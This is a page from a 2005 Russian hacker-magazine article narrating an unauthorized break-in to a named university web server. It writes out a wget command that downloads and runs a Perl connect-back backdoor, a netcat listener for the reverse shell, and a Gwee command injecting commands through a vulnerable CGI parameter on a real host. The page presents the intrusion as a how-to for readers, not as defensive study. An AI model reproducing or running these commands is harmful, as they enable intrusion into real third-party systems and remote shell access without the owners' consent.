Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #79, ИЮЛЬ 2005 г.

Университетский хак

Александр Любимов aka Sashiks

Хакер, номер #079, стр. 079-050-2


22/tcp open ssh OpenSSH 3.6.1p2 (protocol 1.99)

80/tcp open http Apache httpd 1.3.33 ((ALT Linux/alt1) rus/PL30.20)

Да, действительно, все пакеты, идущие на компьютер, кроме адресованных службам web, ftp и ssh, зарезались. Баннеры сервисов указывали на то, что софт своевременно и добросовестно обновляли. Ну, ничего, против лома нет приема (как оказалось потом, против моего лома прием все же нашелся :)). Можно попробовать старый добрый cbd.pl (сonn-back бэкдор на Perl аналогичен ему же на С, но более удобен, так как perl-интерпретатор присутствует практически на 90% машин).

Отдав команду wget http://site.org/~sshx/x/cbd.pl -O /tmp/сbd.pl;perl /tmp/сbd.pl мой_ip 5000, я запустил у себя на машине неткат и ждал подключений:

$ nc -vv -l -p5000

Но, к моему величайшему удивлению, ничего не произошло. Может, проблема с гадским бэкдором? Я решил залить его еще раз, только с флагом -o /tmp/res.txt, чтобы более подробно изучить процесс загрузки. Возможно, изъян заключался именно в процессе заливки файла. Я просмотрел отчет о download’e, и меня постигло разочарование: в последней строчке res.txt я увидел следующее:

Connecting to site.org [62.121.133.131]:80... failed: Connection refused.

Это был жестокий облом. Как выяснилось позже, я не мог скачивать из инета никаких файлов, и это заставило призадуматься о дальнейших действиях на вражеской стороне.

Возможно, читая эту статью, ты подумал, что «вот опять стандартный взлом через веб, о которых в журнале уже сто раз писали. Неужели нет чего-то поинтересней?». Это не так :). Вот скажи мне, если такой умный. Что делать в этой ситуации, как быть? Есть веб-дырка, через которую с горем пополам можно выполнять команды. Никакой внешний файл загрузить напрямую невозможно. Ты знаешь, что делать дальше? Если знаешь, смело пролистывай страницу. А мы пока научимся кое-чему новому.

[Гиви, подкинь палку!]

Внезапно я вспомнил о Gwee. Да, именно о Gwee, а не о пиве :). Для донецких танкистов сообщаем: Gwee — это универсальная программа для эксплуатации уязвимых cgi-скриптов. Установка ее проста как две копейки:

$ tar -xzf gwee-x.xx.tar.gz

$ cd gwee-x.xx

$ make unix (или просто make в зависимости от версии программы)

$ make install

Однако есть одно большое и мохнатое «но» при установке. Программа может не собраться вовсе, если на машине не установлен OpenSSL. Чтобы отключить его поддержку, нужно открыть Makefile и внести следующие изменения:

CFLAGS=-Wall -Wshadow -O2 -DWITH_SSL (удаляем запись -DWITH_SSL)

LDFLAGS=-s -lssl -lcrypto (а здесь убираем -lssl -lcrypto)

Все, теперь сохраняем изменения и собираем программу. В принципе, проблем больше возникнуть не должно. Gwee теперь полностью готов к бою. Я запустил его с такими параметрами:

./gwee -y'?newsfor=fcita&page=|' -z '|' http://fkita.donntu.edu.ua/cgi-bin/index.pl -Lа -p4000 -v -G

Чтобы понять, какие флаги что обозначают, советую обратиться к соответствующей врезке. Замечу также, что такой прием не прокатит на большинстве фриварных шелл-хостингов, так как они запрещают юзерам открывать вообще любые сетевые соединения.

Назад на стр. 079-050-1  Содержание  Вперед на стр. 079-050-3